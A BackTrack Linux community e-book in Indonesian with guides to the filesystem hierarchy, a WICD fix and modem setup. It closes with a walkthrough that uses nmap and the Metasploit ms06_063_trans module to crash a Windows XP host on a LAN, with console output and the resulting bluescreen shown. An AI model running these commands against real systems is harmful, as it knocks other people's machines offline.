

E-Book id-backtrack #1 Alpha

Daftar Isi

1. Cover

2. Daftar Isi

3. Kata Pengantar

4. Histori

5. Visi, Misi & Motto

7 – 10. Linux File System THJC

11. Menghilangkan error "Could Not Connect To WICD's D-Bus Interface" THJC

12 – 13. Sambungkan Ke Semua Modem Broadband james0baster

> 14. Koneksi Internet Dengan WvDial ezzaez

> > 15 – 21. DOS dengan Metasploit zee eichel

Kata Pengantar

Puji syukur kami panjatkan kepada Tuhan YME karena berkatnya telah mengizinkan e-book ini dapat terlaksana.

Terimakasih juga kami panjatkan kepada seluruh staff dan member yang telah bergabung dalam forum id-backtrack.

Semoga, dengan adanya e-book ini bisa menjadi sarana untuk saling berbagi antara member dan satu sama lain. E-book ini dibuat dengan tujuan memudahkan semua pengguna backtrack di indonesia dapat belajar dari buku ini.

Namun e-book ini masih banyak kekurangan, dikarenakan ini masih tahap uji-coba. Sehingga mohon maaf apabila masih banyak kekurangan.

Semua yang tercantum di dalam e-book ini adalah hasil searching di internet dan forum idbacktrack dan beberapa forum IT besar di Indonesia Apabila ada artikel yang merasa tercantum di e-book ini, saya meminta izin untuk mencantumkan disini.

Segala kritik dan saran dapat dilontarkan untuk lebih baiknya. Akhir kata, kami sampaikan terimakasih kepada semua pihak yang telah berperan dalam penyusunan e-book ini dari awal sampai akhir.

Semoga Tuhan YME senantiasa melindungi dan mendukung segala usaha kita.

Histori

Indonesia Backtrack Team (IBTeam) lahir pada tanggal 14 febuari 2011, kami tergolong baru di dunia maya ini. Tak satu pun dari kami yang membangun komunitas ini untuk maksud-maksud jahat.

Tujuan kami sudah jelas, kami ingin membangun komunitas open source di Indonesia dan menginginkan suatu revolusi operating system yang tidak berbayar mengingat perekonomian bangsa ini yang terus menerus makin di ambang kehancuran.

Backrackers... IBTeam terdiri dari anak – anak bumi pertiwi yang menggunakan atau hendak mempelajari tentang penggunaan distro linux backtrack. WE ARE CODER & SECURITY PENETRATION....!!!! we are keep try to learn and share until the end of our life... kami hanyalah insan yang mempelajari dan menggemari seni pertahanan jaringan komputer.

Indonesia Backtrack Team ada di Indonesia tidak juga untuk memecah belah persatuan sesama backtrackers...namun kami di sini ada untuk saling melengkapi. Indonesian Backtrack Team (IBTeam) just learner not advance Founder dari indonesian backrack team terdiri dari 4 orang yaitu yaitu

> Zee Eichel, Jimmyromanticdevilz, Ph0enix Angga

Mereka berempat mendedikasikan hidup mereka demi kemajuan IT di Indonesia. Didukung oleh berbagai aktivis dunia open source indonesia seperti :

> Jurank_dankkal devilnay

Tak terasa team ini makin solid dan teratur.

Visi id-backtrack

"our desire is make our peole Indonesian, growth in open source technology."

Misi id-backtrack

1. Memajukan opensource di Indonesia

2. Mengenalkan Distro Linux Backtrack dan turunannya di Indonesia

3. Mengubah paradigma masyarakan tentang Linux pada umumnya dan Backtrack pada khususnya

4. Membuat pelatihan-pelatihan online maupun offline, maya & nyata di seluruh penjuru tanah air

5. Mengganti penggunaan OS berbayar dengan Open source pada dunia komputerisasi Indonesia

Motto id-backtrack

"We're here, to answer the call of motherland"



Indonesian Back | Track Team

"the quieter you become the more you are able to hear"

SEMUA ISI DAN MATERI YANG ADA DI DALAM E-BOOK INI HANYALAH BERTUJUAN UNTUK PEMBELAJARAN SEMATA, PENERAPAN DALAM HAL – HAL NEGATIF BUKAN TANGGUNG JAWAB ID-BACKTRACK & PENULIS

Linux File System

Ketika awal menggunakan linux, pasti ada banyak perbedaan dan harus banyak penyesuaian dalam menggunakannya. Sebagai contoh, hirarki file sistem dalam linux, sangat beda dengan windows atau sistem operasi lainnya.

Maka dari itu, kami menjelaskan "Hirarki File Sistem Linux"

```
Folder: / - Root
Penjelasan :
            1. Setiap file tunggal dan direktori dimulai dari
            direktori root.
             2. Hanya root user yang memiliki hak privilege write pad
            direktori ini.
             3. /root adalah direktori home bagi root user, yang tidak
            sama dengan /.
Folder : /bin - User Binaries
Penjelasan :
             1. Berisi binary executable
             2. Command linux yg perlu menggunakan single-user mode
               terletak di bawah direktori ini.
             3. Command linux yang digunakan oleh semua pengguna
               sistem terletak di sini.
               Sebagai contoh: ps, ls, ping, grep, cp.
Folder : /sbin - System Binaries
Penjelasan :
             1. Sama seperti / bin, / sbin juga berisi binary
             executable.
             2. Tapi, perintah linux yang terletak di bawah direktori
             ini yang digunakan biasanya dengan administrator sistem,
            untuk tujuan pemeliharaan sistem.
            Sebagai contoh: iptables, reboot, fdisk, ifconfig, swapon
```

Folder : /etc - Configuration Files Penjelasan : 1. Berisi file-file konfigurasi yang dibutuhkan oleh semua program. 2. Direktori ini juga berisi shell script startup dan shutdown yang digunakan untuk start/stop program individu. Sebagai contoh: /etc/resolv.conf, /etc/logrotate.conf Folder : /dev - Device File Penjelasan : 1. Berisi file device. 2. Ini termasuk perangkat terminal, usb, atau perangkat yang melekat pada sistem. Sebagai contoh: /dev/tty1, /dev/usbmon0 Folder : /proc - Process Information Penjelasan : 1. Berisi informasi tentang proses sistem. 2. Direktori inii adalah filesystem pseudo yang berisi informasi tentang running process. Sebagai contoh: /proc/{pid} direktori berisi informasi tentang proses dengan pid tertentu. 3. Ini adalah virtual filesystem dengan informasi teks tentang sistem resource. Sebagai contoh: /proc/uptime Folder : /var - Variable Files Penjelasan : 1. Isi dari file yang diperkirakan akan grow dapat ditemukan di bawah direktori ini. 2. Direktori ini berisi - file log sistem (/var/log); paket dan file database (/var/lib); email (/var /mail); print queues (/var/spool); mengunci file (/var/lock); file temp yang dibutuhkan reboot (/var/tmp); Folder : /tmp - Temporary Files Penjelasan : 1. Direktori yang berisi file sementara yang dibuat oleh sistem dan pengguna. 2. File di bawah direktori ini akan dihapus ketika sistem reboot.

```
Folder : /usr - User Program
Penjelasan :
     1. Berisi binaries, libraries, documentation, dan source- code
    untuk program level kedua.
     2. /usr/bin berisi file binary untuk user program. Jika kita
     tidak dapat menemukan binary user pada /bin, bisa d'lihat
    pada /usr/bin. Sebagai contoh: at, awk, cc, less, scp
     3. /usr/sbin berisi file binary untuk sysadmin. Jika kita qk
    dapat menemukan sistem binary pada /sbin, bisa d'lihat pada
     /usr/sbin.
    Sebagai contoh: ATD, cron, sshd, useradd, userdel
     4. /usr/lib berisi library untuk /usr/bin dan /usr/sbin
     5. /usr/local berisi program-program user yang di-install dari
     source.
     Sebagai contoh, ketika menginstal apache dari source,
     ada pada / usr/local/apache2
Folder : /home - Home Directories
Penjelasan :
     1. Home direktori untuk semua pengguna untuk menyimpan file
    pribadi mereka.
    Sebagai contoh: /home/IBTeam, /home/deprito
Folder : /boot - Boot Loader Files
Penjelasan :
     1. Berisi file boot loader terkait.
     2. Kernel Initrd, vmlinux, file grub ditempatkan pada /boot
       Sebagai contoh: initrd.img-2.6.39-24-generic, vmlinuz-2.6.39-
       24-generic
Folder : /lib - System Binaries
Penjelasan :
     1. Berisi file-file library yang mendukung binaries pada /bin
     dan /sbin
     2. Nama file library seperti ld* or lib*.so.*
       Sebagai contoh: ld-2.11.1.so, libncurses.so.5.7
```

```
Folder : /opt - Optional add-ons applications
Penjelasan :
    1. opt singkatan dari optional.
     2. Berisi aplikasi add-on dari vendor masing-masing.
     3. Aplikasi add-on biasa-ny terinstall pada /opt/ atau
     /opt/sub-direktori.
Folder : /mnt - Mount Directory
Penjelasan :
     1. Direktori temporary mount dimana sysadmin dapat me-mount
     filesystem.
Folder : /media - Removable Media Devices
Penjelasan :
    1. Direktori temporary mount untuk device removable.
          Sebagai contoh, /media/cdrom untuk CD-ROM; /media/floppy
         untuk floppy drive, /media/cdrecorder untuk CD writer
Folder : /srv - Service Data
Penjelasan :
     1. srv singkatan dari service.
     2. Berisi data server tertentu dari data yang terkait.
     Sebagai contoh, /srv/cvs berisi data CVS terkait.
Sumber : Google
Repost : id-backtrack | THJC
http://forum.id-backtrack.com/showthread.php?tid=349
```

Menghilangkan error "Could Not Connect To WICD's D-Bus Interface"



Pernah mendapatkan error seperti itu di << Back | Track 5? Kalian merasa risih dengan pesan error itu? Kami akan memberikan cara untuk menghilangkannya.

Langkah – langkah :

1. Login sebagai root dan jalankan perintah berikut :

\$ dpkg-reconfigure wicd \$ update-rc.d wicd defaults

2. Kalau ada unprivileged user, jalankan perintah berikut :

\$ usermod --groups netdev

Kalau pengalaman saya, langkah - langkah diatas akan bisa memperbaiki pesan error diatas. Semoga saja :)

Sumber : vir0e5.blogspot.com/ Repost : id-backtrack | THJC http://forum.id-backtrack.com/showthread.php?tid=240

Sambungkan Ke Semua Modem Broadband Untuk melakukan semua aktifitas "Backtrack" kita, pasti kita tidak luput dari yang namanya "INTERNET" atau "KONEKTIVITAS" Sekarang, banyak sekali yang menggunkana modem broadband untuk konektivitas di laptopnya masing - masing maka kita perlu juga mengkonfigurasinya. Berikut caranya root@bt:~# pppconfig Pilih >> Create Create a connection >>Provider Name Isi sesuka hati. Contoh : ibteam [Nantinya digunakan untuk dial, pon ibteaml >>Configure Nameservers (DNS) Pilih, "(*) Dynamic Use dynamic DNS" DNSnya biar yg isi provider, kalo mau bikin manual silakan pilih yang "(*) Static Use static DNS" biar DNSnya pake dns google yg 8.8.8.8 dan 8.8.4.4 Kalo mau yg Dynamic pilih dulu sampe ke selek terus pencet "spasi/spacebar" di keyboard buat milih, nanti ada logo (*) berarti sudah terpilih baru tekan enter >> Authentication Method for ibteam Pilih "PAP Peer Authentication Protocol" biasanya langsung default terpilih itu >>User Name Isi sesuai provider Telkom flash : ppp Smart : smart Flexi : i9hr7u3v@free 3 [Three] : 3data Sesuaikan dengan provider masing - masing. >>Password Isi sesuai provider Telkom Flash : ppp Smart : smart Flexi : telkom 3 [Three] : 3data

>> Speed Speed diisi default "115200" tapi biasanya bisa dibuat menjadi "460800" >> Pulse or Tone Pakai defaultnya, "Tone" >> Phone Number Isi sesuai provider GSM (3,telkomflash, m2, dll) : *99# CDMA(smart, fren, flexi, aha): #777 >> Manually Select Modem Port Isi dengan "/dev/ttyUSB0" >> "Properties of ibteam" Untuk edit jika terdapat kesalahan penulisan. Jika merasa sudah benar semua, tekan tab lalu <ok> >> Ouit Pilih <Yes>, untuk menyimpan konfigurasi Lalu coba meng-koneksikannya root@bt:~# pon telkom Lalu cek apa sudah terkoneksikan root@bt:~# ifconfig ppp0 : http://forum.id-backtrack.com/ Sumber Original : id-backtrack | james0baster http://forum.id-backtrack.com/showthread.php?tid=300

Koneksi Internet Dengan WvDial

Ada cara lain untuk meng-koneksikan ke internet yaitu WvDial. Berikut caranya, Download Wvdial : <u>http://www.mediafire.com/?s5ebt2a7e1rk9x4</u> Lalu install. Ketikkan perintah : root@bt:~# lsusb root@bt:~# gedit /etc/wvdial.conf Edit : [Dialer Defaults] Init1 = ATZInit2 = ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0 Modem Type = USB Modem Baud = 460800New PPPD = yes Modem = /dev/ttyACM0ISDN = 0Phone = <nomor telepon modem ex:#777 dll. > Username = <username provider> Password = <password provider> Edit bagian Phone, Username dan Password Lalu save. Setelah konfigurasi selesai, saatnya memanggil "wvdial" root@bt:~# wvdial Sumber : http://laptopanda.wordpress.com/ Original : id-backtrack | ezzaez http://forum.id-backtrack.com/showthread.php?tid=341

Melakukan DOS Dengan Metasploit

Melakukan DOS bisa dilakukan dengan menggunakan tools bawaan backtrack, seperti Metasploit. Kita akan mengungkapnya dibawah ini. DOS hanya bisa dilakukan ke Seri Windows yang tertera dibawah. Windows 7 dan Vista belum/tidak bisa. Microsoft Windows XP Tablet PC Edition SP2 Microsoft Windows XP Tablet PC Edition SP1 Microsoft Windows XP Tablet PC Edition Microsoft Windows XP Professional x64 Edition Microsoft Windows XP Profesional SP2 Microsoft Windows XP Professional SP1 Microsoft Windows XP Professional Microsoft Windows XP Media Center Edition SP2 Microsoft Windows XP Media Center Edition SP1 Microsoft Windows XP Media Center Edition Microsoft Windows XP Home SP2 Microsoft Windows XP Home SP1 Microsoft Windows XP Home Microsoft Windows XP Emas 0 Microsoft Windows XP Embedded SP1 Microsoft Windows XP Embedded Microsoft Windows XP 64-bit Edition Versi 2003 SP1 Microsoft Windows XP 64-bit Edition 2003 Versi Microsoft Windows XP 64-bit Edition SP1 Microsoft Windows XP 64-bit Microsoft Windows XP 0 Microsoft Windows Server 2003 Web Edition SP1 Beta 1 Microsoft Windows Server 2003 Web Edition SP1 Microsoft Windows Server 2003 Web Edition Microsoft Windows Server 2003 Standard x64 Edition Microsoft Windows Server 2003 Standard Edition SP1 Beta 1 Microsoft Windows Server 2003 Standard Edition SP1 Microsoft Windows Server 2003 Standard Edition Microsoft Windows Server 2003 Enterprise x64 Edition Microsoft Windows Server 2003 Enterprise Edition SP1 Beta 1 Itanium Microsoft Windows Server 2003 Enterprise Edition SP1 Itanium Microsoft Windows Server 2003 Enterprise Edition Itanium 0 Microsoft Windows Server 2003 Enterprise Edition SP1 Beta 1 Microsoft Windows Server 2003 Enterprise Edition SP1 Microsoft Windows Server 2003 Enterprise Edition Microsoft Windows Server 2003 Datacenter x64 Edition Microsoft Windows Server 2003 Datacenter Edition SP1 Beta 1 Itanium Microsoft Windows Server 2003 Datacenter Edition SP1 Itanium Microsoft Windows Server 2003 Datacenter Edition Itanium 0 Microsoft Windows Server 2003 Datacenter Edition SP1 Beta 1 Microsoft Windows Server 2003 Datacenter Edition SP1 Microsoft Windows Server 2003 Datacenter Edition Microsoft Windows 2000 Server SP4 Microsoft Windows 2000 SP4 Professional Microsoft Windows 2000 Datacenter Server SP4 Microsoft Windows 2000 Advanced Server SP4

Setelah target cocok dengan Sistem Operasi yang ada diatas, mari kita
melakukan apa yang harus kita lakukan :)
Buka terminal,
\$ nmap -0 192.168.1.1/24 #semisalnya range ip address type c
\$ msfconsole #buka dulu msfconsole nah
msf > use dos/windows/smb/ms06_063_trans
msf_auxiliary(ms06_063_trans) > set LPORT 445 # setting port ke 445
msf_auxiliary(ms06_063_trans) > set RHOST IP_TARGET # ip address
target bro
msf_auxiliary(ms06_063_trans) > run

Yap, target langsung mengalami bluescreen :)





Scan IP BT5

∧ ∨ × root@bt: ~ File Edit View Terminal Help oot@bt:~# nmap -0 192.168.0.0/24 Starting Nmap 5.59BETA1 (http://nmap.org) at 2011-07-30 13:22 WIT Nmap scan report for hasan-2e9e82be6.mshome.net (192.168.0.1) Host is up (0.00029s latency). Not shown: 992 closed ports PORT STATE SERVICE 21/tcp open ftp 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 443/tcp open https 2869/tcp open icslap 3306/tcp open mysql 3389/tcp open ms-term-serv MAC Address: 00:1A:4D:FB:28:F0 (Giga-byte Technology Co.) Device type: general purpose Running: Microsoft Windows XP OS details: Microsoft Windows XP SP2 Network Distance: 1 hop Nmap scan report for 192.168.0.3 Host is up (0.0020s latency). Not shown: 996 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 2869/tcp open icslap MAC Address: 08:00:27:90:78:FA (Cadmus Computer Systems) Device type: general purpose Running: Microsoft Windows XP|2003 OS details: Microsoft Windows XP SP2 or SP3, or Windows Server 2003 Network Distance: 1 hop Nmap scan report for bt.mshome.net (192.168.0.64) Host is up (0.000029s latency). Not shown: 999 closed ports

Scan dengan nmap, untuk mencari host yang port 445 yang terbuka. 192.168.0.0/24 itu adalah alamat jaringannya & subnetnya.

∧ ∨ × root@bt: ~	
File Edit View Terminal Help	
####### ## ## ## ## ## ## ## ## ## ## #	
=[metasploit v3.7.0-release [core:3.7 api:1.0] +=[684 exploits - 355 auxiliary +=[217 payloads - 27 encoders - 8 nops =[svn r12536 updated 87 days ago (2011.05.04)	
Warning: This copy of the Metasploit Framework was last updated <mark>87 days ago</mark> . We recommend that you update the framework at least every other day. For information on updating your copy of Metasploit, please see: http://www.metasploit.com/redmine/projects/framework/wiki/Updating	
<u>msf</u> > use dos/windows/smb/ms06_063_trans <u>msf</u> auxiliary(<mark>ms06_063_trans</mark>) > show options	
Module options (auxiliary/dos/windows/smb/ms06_063_trans):	
NameCurrent SettingRequiredDescriptionRHOSTyesThe target addressRPORT445yesSet the SMB service port	
<u>msf</u> auxiliary(<mark>ms06_063_trans</mark>) > set RHOST 192.168.0.3 RHOST => 192.168.0.3 <u>msf</u> auxiliary(ms06_063_trans) > run	
<pre>[*] Connecting to the target system [*] Sending bad SMB transaction request 1 [*] Sending bad SMB transaction request 2 [*] Sending bad SMB transaction request 3 [*] Sending bad SMB transaction request 4 [*] Sending bad SMB transaction request 5 [*] Auxiliary module execution completed msf auxiliary(ms06_063_trans) ></pre>	

Ada host dengan ip 192.168.0.3 port 445 yang terbuka Tinggal di exploit A problem has been detected and Windows has been shut down to prevent damage to your computer.

DRIVER_IRQL_NOT_LESS_OR_EQUAL

If this is the first time you've seen this Stop error screen, restart your computer, If this screen appears again, follow these steps:

Check to make sure any new hardware or software is properly installed. If this is a new installation, ask your hardware or software manufacturer for any Windows updates you might need.

If problems continue, disable or remove any newly installed hardware or software. Disable BIOS memory options such as caching or shadowing. If you need to use Safe Mode to remove or disable components, restart your computer, press F8 to select Advanced Startup Options, and then select Safe Mode.

Technical information:

*** STOP: 0x00000001 (0x000000C,0x00000002,0x00000000,0xF86B5A89)

*** gv3.sys - Address F86B5A89 base at F86B5000, DateStamp 3dd991eb

Beginning dump of physical memory Physical memory dump complete. Contact your system administrator or technical support group for further assistance.

Hasil kenakalan Metasploit dan Backtrack

Sumber : http://forum.id-backtrack.com/ Original : id-backtrack | zee eichel http://forum.id-backtrack.com/showthread.php?tid=66